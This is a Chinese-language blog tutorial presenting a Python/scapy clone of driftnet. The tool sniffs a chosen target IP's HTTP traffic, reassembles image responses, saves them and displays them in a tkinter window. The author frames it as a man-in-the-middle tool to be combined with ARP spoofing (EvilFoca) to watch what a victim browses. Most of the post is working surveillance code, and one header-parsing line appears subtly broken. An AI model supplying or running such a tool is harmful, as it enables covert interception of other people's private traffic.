python实现图片嗅探工具——自编driftnet
- 前言
- 一、数据包嗅探
- 二、图片捕获
- 三、图片显示及主函数
- 写在最后
私信小编01即可获取大量Python学习资料
前言
想必尝试过中间人攻击(MITM)的小伙伴,大概率是知道driftnet的。这是一款简单使用的图片捕获工具,可以很方便的从网络数据包中抓取图片,从而将监听对象所浏览的图片尽收眼底。
苦于driftnet对windows的支持不是特别友好,而且近日闲来没事,于是我决定用python写一个简单的图片嗅探工具。
哐哐哐~搞定之后,效果还是不错的:
简单设置过后,开始监听:
注意:本工具不具有arp欺骗的功能,因此需要结合arp欺骗相应工具使用(如EvilFoca)
一、数据包嗅探
数据的嗅探采用的是scapy库的sniff模块,一句话便能搞定:
# 嗅探函数
def dosniff(filter_rule,sniff_time,prn_f):
sniff(filter=filter_rule,timeout=sniff_time,prn=prn_f) # 监听数据包
其中prn参数是一个回调函数,即每抓取到一个数据包之后将执行这个函数,而这也是捕获数据包中图片的关键,具体实现,客官您望下看~
二、图片捕获
这里需要明确的是,在图片的传输过程中,往往一个TCP包的长度是不够的,所以一张图片往往分为很多个包。因此,为了捕获其中的图片,我们必须对图片数据进行识别,并将对应的数据包合并(相同的ack值)。
具体思路如下:
- 找到有上网数据的数据包
if p.haslayer(Raw): # 找出有上网数据的
- 判断是否为含有图片的HTTP响应
if 'Content-Type: image' in str(load): # 如果为图片响应
xxxxx # 提取HTTP协议中的相关信息(图片长度、图片后缀、IP地址、以及部分图片二进制数据)
else:
xxxxx # 判断是否为图片数据的某一部分,如果是则将数据添加进去
3、把图片数据合并并生成图片
for i in img_list[ack][1:]:
img += i
if len(img) == length: # 如果图片数据已经完整
imgname = '%d.%s'%(N,img_map[postfix])
with open('./images/%s/%s'%(target,imgname),'wb') as f:
f.write(img)
完整的回调函数:
# 处理数据包
def handlepacket(p):
global N,img_list,imgvalue_list,img_map
if p.haslayer(Raw): # 找出有上网数据的
load = p.load
ack = p.ack
try:
## 如果为图片相应,且带有HTTP头(即第一个图片TCP包)
if 'Content-Type: image' in str(load): # 如果为图片响应
postfix = re.findall('image/(.*?)\\r',str(load))[0] # 图片后缀
length = int(re.findall('Content-Length: (.*?)\\r',str(load))[0]) # 图片数据长度
ip_src = p['IP'].src # 源头IP
ip_dst = p['IP'].dst # 目的IP
img_list[ack] = [(postfix,length,ip_src,ip_dst)] # 0为图片信息(以下为图片二进制数据)
img_load=load[load.find(b'x0dx0ax0dx0a')+4:] # 去除请求头部分,只要图片数据
img_list[ack].append(img_load)
## 如果为某图片的后续数据包
elif ack in list(img_list.keys()):
img_load = load # 所有load均为图片数据
img_list[ack].append(img_load)
img = bytes()
postfix = img_list[ack][0][0] # 图片后缀
length = img_list[ack][0][1] # 图片长度
ip_src = img_list[ack][0][2] # 源头IP
ip_dst = img_list[ack][0][3] # 目的IP
for i in img_list[ack][1:]:
img += i
if len(img) == length: # 如果图片数据已经完整
imgname = '%d.%s'%(N,img_map[postfix])
with open('./images/%s/%s'%(target,imgname),'wb') as f:
f.write(img)
img = Image.open(BytesIO(img))
img = resize(200,200,img)
img_tk = ImageTk.PhotoImage(img)
imgvalue_list.append(img_tk)
Label(frame,image=imgvalue_list[-1],bg='black').grid(row=(N-1)//4,column=(N-1)%4,padx=23,pady=3)
canvas.create_window((ww/2,math.ceil(N/4)*105), window=frame) #create_window
canvas['scrollregion'] = (0,0,ww,math.ceil(N/4)*210)
canvas.yview_moveto(1)
print('%s【driftnet】: saving image data as "%s"'%(time.strftime("%Y-%m-%d %H:%M:%S", time.localtime()),imgname))
N += 1
except:
pass
三、图片显示及主函数
为了将捕获的图片显示出来,我采用tkinter库,具体如下:
# 主函数
if __name__ == '__main__':
printinfo()
target = ''
sniff_time = 24*60*60
while True:
choice = input('
请选择:')
if choice not in ['1','2','3','4','5']:
print(colored('>>>选择错误,请重新输入!','red'))
time.sleep(1)
printinfo()
else:
if choice == '1':
scan()
if choice == '2':
target = input('>>>监听目标(对方IP地址):')
print('监听目标设置成功!')
time.sleep(1)
printinfo()
if choice == '3':
sniff_time = input('>>>监听时间(默认为86400秒):')
sniff_time = int(sniff_time)
print('监听时间设置成功!')
time.sleep(1)
printinfo()
if choice == '4':
if target == '':
print(colored('监听目标未设置!','red'))
time.sleep(1)
printinfo()
else:
print('监听目标为"%s" 监听时间为"%s秒"'%(colored(target,'green'),colored(sniff_time,'green')))
op = input('是否开始(Y/N)?')
if not (op == 'Y' or op == 'y'):
printinfo()
continue
# 创建GUI
## 初始化全局变量
N = 1 # 图片编号
img_list = {} # 图片字典,用于存储图片信息,以及对应数据包
imgvalue_list = [] # 图片数据,用于在画布上显示(防止由于局部变量等原因丢失变量)
## 相关参数
bgcolor = 'black'
## 创建root窗口(1000x630)
root = Tk()
root.title('driftnet') # 设置标题
root.iconbitmap('logo.ico')
root.config(bg=bgcolor)
sw = root.winfo_screenwidth() # 屏幕宽度
sh = root.winfo_screenheight() # 屏幕高度
ww = 1000 # 窗口宽度
wh = 630 # 窗口高度
x = (sw-ww)/2 # 窗口横坐标
y = (sh-wh)/2 # 窗口纵坐标
root.geometry('%dx%d+%d+%d' %(ww,wh,x,y))
root.resizable(width=False, height=False) # 窗口大小无法更改
## 创建画布canvas
canvas=Canvas(root,width=ww,height=wh) #创建canvas
canvas.grid()
## 创建frame窗口
frame = tk.Frame(canvas)
frame.grid()
## 滚动条
vbar=Scrollbar(root,orient=VERTICAL) #竖直滚动条
vbar.place(x=ww-20,y=0,width=20,height=wh)
vbar.configure(command=canvas.yview)
canvas.config(yscrollcommand=vbar.set) #设置
# 嗅探数据
if not os.path.exists('./images'):
os.mkdir('./images')
if not os.path.exists('./images/%s'%target):
os.mkdir('./images/%s'%target)
filter_rule = "tcp src port 80 and dst host {}".format(target) # 过滤规则
print('开始嗅探.....')
t = threading.Thread(target=dosniff,args=(filter_rule,sniff_time,handlepacket,))
t.start()
# 进入消息循环
root.mainloop()
# 关闭嗅探线程
stop_thread(t)
#input() # 处理stop_thread多余的输出流
printinfo()
if choice == '5':
print('Good bye!')
exit(0)
这里遇到的坑主要是滚动条自动下滑的问题(即当我们不断捕获到图片的时候,如果让界面将所有图片显示出来,并且滚动条始终保持在最小面)。
写在最后
代码些许有些混乱,主要是想跟小伙伴们分享下一些思路,也希望可以有所帮助或启发:
- 如何从数据包中捕获图片数据
- Tkinter如何实现滚动条自动下滑
最后,感谢各位大大的耐心阅读~